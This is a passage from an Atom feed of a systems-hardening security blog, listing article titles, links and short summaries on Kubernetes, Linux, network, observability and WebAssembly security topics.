    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Service Account Token Privilege Escalation: How Limited RBAC Becomes Cluster-Admin Without CVEs
The Problem
Most Kubernetes privilege escalation advice focuses on CVEs — container breakouts, kernel...</summary>
  </entry>
  
  <entry>
    <title>OpenSSF Scorecard: Automated Open Source Dependency Risk Scoring</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/openssf-scorecard-risk-scoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/openssf-scorecard-risk-scoring/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OpenSSF Scorecard: Automated Open Source Dependency Risk Scoring
What Scorecard Measures
OpenSSF Scorecard evaluates a GitHub-hosted open source project across more than 20 automated checks and...</summary>
  </entry>
  
  <entry>
    <title>Platform Team Secrets Injection: Centralized Patterns for Developer Self-Service</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/platform-team-secrets-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/platform-team-secrets-injection/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Platform Team Secrets Injection: Centralized Patterns for Developer Self-Service
Problem
Developers need database passwords, API keys, TLS certificates, and service account tokens to run their...</summary>
  </entry>
  
  <entry>
    <title>Policy as Code at Scale: OPA, Rego Testing, and Enterprise Policy Libraries</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/policy-as-code-at-scale/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/policy-as-code-at-scale/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Policy as Code at Scale: OPA, Rego Testing, and Enterprise Policy Libraries
Problem
Security rules written in runbooks rot. A policy that says “container images must be pulled from the internal...</summary>
  </entry>
  
  <entry>
    <title>VEX: Vulnerability Exploitability eXchange for SBOM-Driven Triage</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/sbom-vex-exploitability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/sbom-vex-exploitability/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>A distroless container image built on gcr.io/distroless/java17-debian12 will typically generate 400–600 CVE findings the first time you run Grype or Trivy against it. The overwhelming majority — often...</summary>
  </entry>
  
  <entry>
    <title>Secret Rotation Automation: Zero-Downtime Database Password Rotation at Scale</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/secret-rotation-automation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/secret-rotation-automation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Secret Rotation Automation: Zero-Downtime Database Password Rotation at Scale
The Problem
Database credential rotation fails in production for one of three reasons: teams don’t do it at all because...</summary>
  </entry>
  
  <entry>
    <title>SOCKS Proxy Tunnelling and Covert Channel Detection: When Legitimate Protocols Carry C2 Traffic</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/socks-proxy-covert-channel-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/socks-proxy-covert-channel-detection/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>SOCKS Proxy Tunnelling and Covert Channel Detection: When Legitimate Protocols Carry C2 Traffic
The Problem
Modern C2 frameworks do not rely on exotic protocols. Cobalt Strike, Havoc, and Sliver all...</summary>
  </entry>
  
  <entry>
    <title>TOCTOU Vulnerability Defences: Eliminating Time-of-Check to Time-of-Use Races Across the Stack</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/toctou-vulnerability-defences/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/toctou-vulnerability-defences/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>TOCTOU Vulnerability Defences: Eliminating Time-of-Check to Time-of-Use Races Across the Stack
Problem
A TOCTOU vulnerability has the following shape:
check(X)            ← security decision made on...</summary>
  </entry>
  
  <entry>
    <title>Typosquatting in Package Registries: Detection, Prevention, and Runtime Defence</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/typosquatting-package-registry-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/typosquatting-package-registry-defence/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Typosquatting in Package Registries: Detection, Prevention, and Runtime Defence
The Attack Surface
Every package registry is a publicly writable namespace. npm alone hosts over 2.5 million packages....</summary>
  </entry>
  
  <entry>
    <title>Zero Trust Architecture: From BeyondCorp Principles to Production Implementation</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/zero-trust-architecture-principles/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/zero-trust-architecture-principles/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Zero Trust Architecture: From BeyondCorp Principles to Production Implementation
The Problem With Perimeter Thinking
The classic security model draws a hard line between inside and outside. Inside the...</summary>
  </entry>
  
  <entry>
    <title>Azure Workload Identity for AKS: Federated Credential Access to Azure Resources</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/azure-workload-identity-aks/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/azure-workload-identity-aks/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Azure Workload Identity for AKS: Federated Credential Access to Azure Resources
Problem
Pods running on AKS need access to Azure resources: Key Vault secrets, Storage accounts, Service Bus, SQL...</summary>
  </entry>
  
  <entry>
    <title>Container Image Signing Policy Enforcement: From cosign to Admission Control</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/container-image-signing-policy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/container-image-signing-policy/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Container Image Signing Policy Enforcement: From cosign to Admission Control
The Verification Gap
Teams that sign container images in CI but do not enforce those signatures at admission control have...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH Kubernetes Backend: Hardened Pod-per-Session SSH Access</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/containerssh-kubernetes-backend/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/containerssh-kubernetes-backend/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>ContainerSSH Kubernetes Backend: Hardened Pod-per-Session SSH Access
The Problem
ContainerSSH is an SSH server that, rather than granting shell access to the host it runs on, proxies each incoming...</summary>
  </entry>
  
  <entry>
    <title>Automating Container Image Patching in Kubernetes with Copa and Kyverno</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/copa-kubernetes-automated-patching/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/copa-kubernetes-automated-patching/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Automating Container Image Patching in Kubernetes with Copa and Kyverno
Problem
A Kubernetes cluster running a hundred distinct container images is a patching problem that does not scale with human...</summary>
  </entry>
  
  <entry>
    <title>ETCd Compromise: The Blast Radius of Your Kubernetes Backing Store</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/etcd-compromise-and-recovery/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/etcd-compromise-and-recovery/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>ETCd Compromise: The Blast Radius of Your Kubernetes Backing Store
The Problem
Every security control in Kubernetes — RBAC, admission webhooks, network policies, pod security standards — sits in front...</summary>
  </entry>
  
  <entry>
    <title>External Secrets Operator: Syncing Cloud Secrets Without Storing Them in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/external-secrets-operator-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/external-secrets-operator-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>External Secrets Operator: Syncing Cloud Secrets Without Storing Them in Kubernetes
The Problem
Kubernetes Secrets are a convenience layer built on a dangerous default. A vanilla cluster stores...</summary>
  </entry>
  
  <entry>
    <title>BOLA and BFLA in Kubernetes-Hosted APIs: Object-Level Authorisation Gaps in Multi-Tenant Deployments</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-api-bola-bfla/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-api-bola-bfla/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>BOLA and BFLA in Kubernetes-Hosted APIs: Object-Level Authorisation Gaps in Multi-Tenant Deployments
The Problem
OWASP API Security Top 10 has placed Broken Object-Level Authorisation (BOLA, API1) and...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Service Account Token Security: Projection, Audience Binding, and Theft Prevention</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-service-account-token-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-service-account-token-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Service Account Token Security: Projection, Audience Binding, and Theft Prevention
Legacy Tokens vs Projected Tokens
Before Kubernetes 1.22, every service account automatically got a...</summary>
  </entry>
  
  <entry>
    <title>Kyverno Controller Security: Hardening the Policy Engine That Enforces Your Security Policies</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kyverno-controller-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kyverno-controller-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kyverno Controller Security: Hardening the Policy Engine That Enforces Your Security Policies
The Problem
Kyverno occupies the most trusted position in a Kubernetes cluster: every API request that...</summary>
  </entry>
  
  <entry>
    <title>Overlayfs Copy-on-Write Container Escape: CVE-2023-0386 and Writeback Race Mitigations</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/overlayfs-cow-container-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/overlayfs-cow-container-escape/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Overlayfs Copy-on-Write Container Escape: CVE-2023-0386 and Writeback Race Mitigations
Problem
Every container runtime that uses overlayfs — Docker, containerd, CRI-O — builds the container’s...</summary>
  </entry>
  
  <entry>
    <title>Sigstore and Cosign: Keyless Container Image Signing and Verification</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/sigstore-cosign-container-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/sigstore-cosign-container-signing/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Sigstore and Cosign: Keyless Container Image Signing and Verification
Problem
Container image supply chains fail silently. Without signing, a Kubernetes cluster has no way to distinguish an image...</summary>
  </entry>
  
  <entry>
    <title>SPIFFE and SPIRE: Cryptographic Workload Identity for Zero Trust Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/spiffe-spire-workload-identity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/spiffe-spire-workload-identity/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>SPIFFE and SPIRE: Cryptographic Workload Identity for Zero Trust Kubernetes
Problem
Service-to-service authentication in Kubernetes defaults to one of three failure modes: shared static secrets...</summary>
  </entry>
  
  <entry>
    <title>API Gateway Hardening at the OS Layer: Rate Limiting with nftables and eBPF</title>
    <link href="https://www.systemshardening.com/articles/linux/api-gateway-nftables-ebpf-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/api-gateway-nftables-ebpf-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>API Gateway Hardening at the OS Layer: Rate Limiting with nftables and eBPF
The Problem
Application-layer rate limiting has a fundamental architectural flaw: it evaluates requests inside the process...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH as a Bastion Host Replacement: Ephemeral Containers per SSH Session</title>
    <link href="https://www.systemshardening.com/articles/linux/containerssh-bastion-replacement/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/containerssh-bastion-replacement/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>ContainerSSH as a Bastion Host Replacement: Ephemeral Containers per SSH Session
Problem
A traditional bastion host starts life as a clean, hardened jump server. Six months later it has accumulated...</summary>
  </entry>
  
  <entry>
    <title>Patching Distroless and Minimal Container Images with Copa</title>
    <link href="https://www.systemshardening.com/articles/linux/copa-distroless-image-patching/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/copa-distroless-image-patching/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Patching Distroless and Minimal Container Images with Copa
Problem
Every container image in production is a snapshot of a package state at build time. The moment a CVE is disclosed for OpenSSL, glibc,...</summary>
  </entry>
  
  <entry>
    <title>copy_from_user Failure Exploitation: Kernel Copy Fault Handling Vulnerabilities</title>
    <link href="https://www.systemshardening.com/articles/linux/copy-from-user-failure-exploitation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/copy-from-user-failure-exploitation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>copy_from_user Failure Exploitation: Kernel Copy Fault Handling Vulnerabilities
Problem
copy_from_user and copy_to_user are the kernel’s sanctioned mechanism for transferring data across the...</summary>
  </entry>
  
  <entry>
    <title>Linux Kernel Crypto API Security: algif_aead Attack Surface and Safe Primitive Selection</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-crypto-api-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-crypto-api-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Kernel Crypto API Security: algif_aead Attack Surface and Safe Primitive Selection
The Problem
The Linux kernel ships a full cryptographic subsystem — symmetric ciphers, hash functions, RNGs,...</summary>
  </entry>
  
  <entry>
    <title>Malicious Dependency Runtime Detection: Using eBPF to Catch Compromised Libraries</title>
    <link href="https://www.systemshardening.com/articles/linux/malicious-dependency-runtime-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/malicious-dependency-runtime-detection/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Malicious Dependency Runtime Detection: Using eBPF to Catch Compromised Libraries
Problem
Static analysis catches known-bad packages. SBOM generation records what is installed. CVE scanners compare...</summary>
  </entry>
  
  <entry>
    <title>From Pod Breakout to Kubelet Credential Theft: The Node Compromise Attack Chain</title>
    <link href="https://www.systemshardening.com/articles/linux/pod-breakout-to-kubelet-credential-theft/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/pod-breakout-to-kubelet-credential-theft/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>From Pod Breakout to Kubelet Credential Theft: The Node Compromise Attack Chain
The Problem
Getting code execution inside a container is not the end of the attack — it is the beginning. For most...</summary>
  </entry>
  
  <entry>
    <title>Reproducible Builds: Eliminating Build Environment as a Supply Chain Attack Surface</title>
    <link href="https://www.systemshardening.com/articles/linux/reproducible-builds-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/reproducible-builds-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Reproducible Builds: Eliminating Build Environment as a Supply Chain Attack Surface
Why This Matters
The XZ Utils compromise (CVE-2024-3094) was not a vulnerability in source code visible to a code...</summary>
  </entry>
  
  <entry>
    <title>HashiCorp Vault Architecture and Hardening: Seal Configuration, Audit Logging, and Root Token Elimination</title>
    <link href="https://www.systemshardening.com/articles/linux/vault-architecture-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/vault-architecture-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>HashiCorp Vault Architecture and Hardening: Seal Configuration, Audit Logging, and Root Token Elimination
The Problem
Vault is the most widely deployed secrets management system in production...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH Network Isolation: Per-Session NetworkPolicy and Egress Control</title>
    <link href="https://www.systemshardening.com/articles/network/containerssh-network-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/containerssh-network-isolation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>ContainerSSH Network Isolation: Per-Session NetworkPolicy and Egress Control
Problem
ContainerSSH replaces traditional SSH bastions with a Kubernetes-native model: each authenticated session spawns a...</summary>
  </entry>
  
  <entry>
    <title>Copa in Air-Gapped Environments: Container Patching Without Internet Access</title>
    <link href="https://www.systemshardening.com/articles/network/copa-air-gapped-registry-patching/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/copa-air-gapped-registry-patching/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Copa in Air-Gapped Environments: Container Patching Without Internet Access
The Problem
Copa (Copacetic) patches container images by fetching updated OS packages at runtime — it runs Trivy to identify...</summary>
  </entry>
  
  <entry>
    <title>Encrypted Client Hello: Privacy vs. Enterprise Security Inspection</title>
    <link href="https://www.systemshardening.com/articles/network/encrypted-client-hello-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/encrypted-client-hello-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Encrypted Client Hello: Privacy vs. Enterprise Security Inspection
The Problem
For the entire history of TLS, the hostname a client is connecting to has been visible in plaintext on the wire. The TLS...</summary>
  </entry>
  
  <entry>
    <title>GraphQL Attack Surface: Introspection Enumeration, Batch Query Abuse, and Depth Limiting</title>
    <link href="https://www.systemshardening.com/articles/network/graphql-attack-surface/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/graphql-attack-surface/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>GraphQL Attack Surface: Introspection Enumeration, Batch Query Abuse, and Depth Limiting
The Problem
GraphQL was designed with a specific philosophy: clients declare exactly what data they need, and...</summary>
  </entry>
  
  <entry>
    <title>Identity-Aware Proxy: Replacing VPN with Continuous Identity Verification</title>
    <link href="https://www.systemshardening.com/articles/network/identity-aware-proxy-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/identity-aware-proxy-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Identity-Aware Proxy: Replacing VPN with Continuous Identity Verification
Problem
A VPN gives a user network-layer access to an internal segment. From that point, the application backend typically...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Network Lateral Movement: From Compromised Pod to Internal Service Exfiltration</title>
    <link href="https://www.systemshardening.com/articles/network/kubernetes-network-lateral-movement/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/kubernetes-network-lateral-movement/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Kubernetes Network Lateral Movement: From Compromised Pod to Internal Service Exfiltration
The Problem
A Kubernetes cluster with no NetworkPolicy is a flat network. Every pod can reach every other pod...</summary>
  </entry>
  
  <entry>
    <title>Microsegmentation with Cilium: L7-Aware Network Policy for Zero Trust Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/network/microsegmentation-cilium-zero-trust/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/microsegmentation-cilium-zero-trust/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Microsegmentation with Cilium: L7-Aware Network Policy for Zero Trust Kubernetes
Why L3/L4 NetworkPolicy Is Not Enough
Standard Kubernetes NetworkPolicy controls which pods can talk to which other...</summary>
  </entry>
  
  <entry>
    <title>Double-Fetch Vulnerabilities in the Linux Network Stack: skb Races and TOCTOU in Packet Handling</title>
    <link href="https://www.systemshardening.com/articles/network/packet-buffer-double-fetch-exploits/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/packet-buffer-double-fetch-exploits/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Problem
A double-fetch vulnerability is a specific class of time-of-check time-of-use (TOCTOU) bug in which the kernel reads the same value from userspace memory — or from memory shared between kernel...</summary>
  </entry>
  
  <entry>
    <title>Secrets in Transit: mTLS and Certificate Pinning for Secret Store Communication</title>
    <link href="https://www.systemshardening.com/articles/network/secrets-in-transit-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/secrets-in-transit-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Secrets in Transit: mTLS and Certificate Pinning for Secret Store Communication
The Problem
Most organizations treat secrets management as a storage problem: rotate credentials, encrypt at rest, use...</summary>
  </entry>
  
  <entry>
    <title>Service Mesh mTLS Identity: Istio and Linkerd Certificate Security Deep Dive</title>
    <link href="https://www.systemshardening.com/articles/network/service-mesh-mtls-identity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/service-mesh-mtls-identity/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Service Mesh mTLS Identity: Istio and Linkerd Certificate Security Deep Dive
The Problem
Pod-to-pod traffic in Kubernetes is unauthenticated by default. A compromised workload can connect to any other...</summary>
  </entry>
  
  <entry>
    <title>Zero Trust Network Access with WireGuard: Replacing VPN with Per-Resource Tunnels</title>
    <link href="https://www.systemshardening.com/articles/network/ztna-wireguard-deployment/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ztna-wireguard-deployment/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Zero Trust Network Access with WireGuard: Replacing VPN with Per-Resource Tunnels
VPN vs ZTNA: The Access Model Shift
Traditional VPN is network-centric. A user authenticates once — credentials,...</summary>
  </entry>
  
  <entry>
    <title>API Threat Detection via Traffic Analysis: Detecting BOLA, Enumeration, and Mass Assignment in Access Logs</title>
    <link href="https://www.systemshardening.com/articles/observability/api-threat-detection-traffic-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/api-threat-detection-traffic-analysis/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>API Threat Detection via Traffic Analysis: Detecting BOLA, Enumeration, and Mass Assignment in Access Logs
The Problem
A WAF is good at what it was designed to do: match known-bad signatures, enforce...</summary>
  </entry>
  
  <entry>
    <title>Container Patch Compliance Observability: Tracking CVE-to-Patch SLAs Across a Fleet</title>
    <link href="https://www.systemshardening.com/articles/observability/container-patch-compliance-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/container-patch-compliance-observability/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Container Patch Compliance Observability: Tracking CVE-to-Patch SLAs Across a Fleet
The Problem
Running Copa against 200 images on a nightly schedule does not produce compliance. It produces patch...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH Audit Logging: Session Recording, S3 Export, and SIEM Integration</title>
    <link href="https://www.systemshardening.com/articles/observability/containerssh-audit-logging/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/containerssh-audit-logging/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>ContainerSSH Audit Logging: Session Recording, S3 Export, and SIEM Integration
Problem
Traditional SSH audit logging captures connection metadata: who connected, when, from which IP address. What it...</summary>
  </entry>
  
  <entry>
    <title>Detecting Copy-on-Write Exploitation with eBPF: Tracing Dirty Pipe and Overlayfs Attack Patterns</title>
    <link href="https://www.systemshardening.com/articles/observability/cow-exploit-detection-ebpf/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cow-exploit-detection-ebpf/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Copy-on-Write Exploitation with eBPF: Tracing Dirty Pipe and Overlayfs Attack Patterns
Problem
Copy-on-write (CoW) is a kernel memory management strategy: when two processes share a...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Forensics After Compromise: Reconstructing the Attack Timeline</title>
    <link href="https://www.systemshardening.com/articles/observability/kubernetes-forensics-post-compromise/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/kubernetes-forensics-post-compromise/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Kubernetes Forensics After Compromise: Reconstructing the Attack Timeline
The Problem
Kubernetes is optimised for ephemerality. Pods are scheduled, run, evicted, and rescheduled continuously....</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry Collector Hardening: Pipeline Injection, RBAC, and Securing the Observability Data Path</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-collector-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-collector-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry Collector Hardening: Pipeline Injection, RBAC, and Securing the Observability Data Path
The Problem
The OpenTelemetry Collector is the single most privileged non-control-plane process in...</summary>
  </entry>
  
  <entry>
    <title>Detecting Secret Access Anomalies: Vault and AWS Secrets Manager Audit Log Analysis</title>
    <link href="https://www.systemshardening.com/articles/observability/secret-access-anomaly-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/secret-access-anomaly-detection/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Secret Access Anomalies: Vault and AWS Secrets Manager Audit Log Analysis
The Problem
Secret stores are the highest-value targets in most infrastructure. A compromised database password, API...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH Auth Webhook as a WebAssembly Edge Function: Low-Latency Sandboxed Authentication</title>
    <link href="https://www.systemshardening.com/articles/wasm/containerssh-wasm-auth-backend/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/containerssh-wasm-auth-backend/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>ContainerSSH Auth Webhook as a WebAssembly Edge Function: Low-Latency Sandboxed Authentication
The Authentication Bottleneck
ContainerSSH solves a real infrastructure problem: it intercepts SSH...</summary>
  </entry>
  
  <entry>
    <title>Extending Copa with WebAssembly: Building Sandboxed Scanner Plugins</title>
    <link href="https://www.systemshardening.com/articles/wasm/copa-wasm-scanner-plugin/" rel="alternate" type="text/html"/>
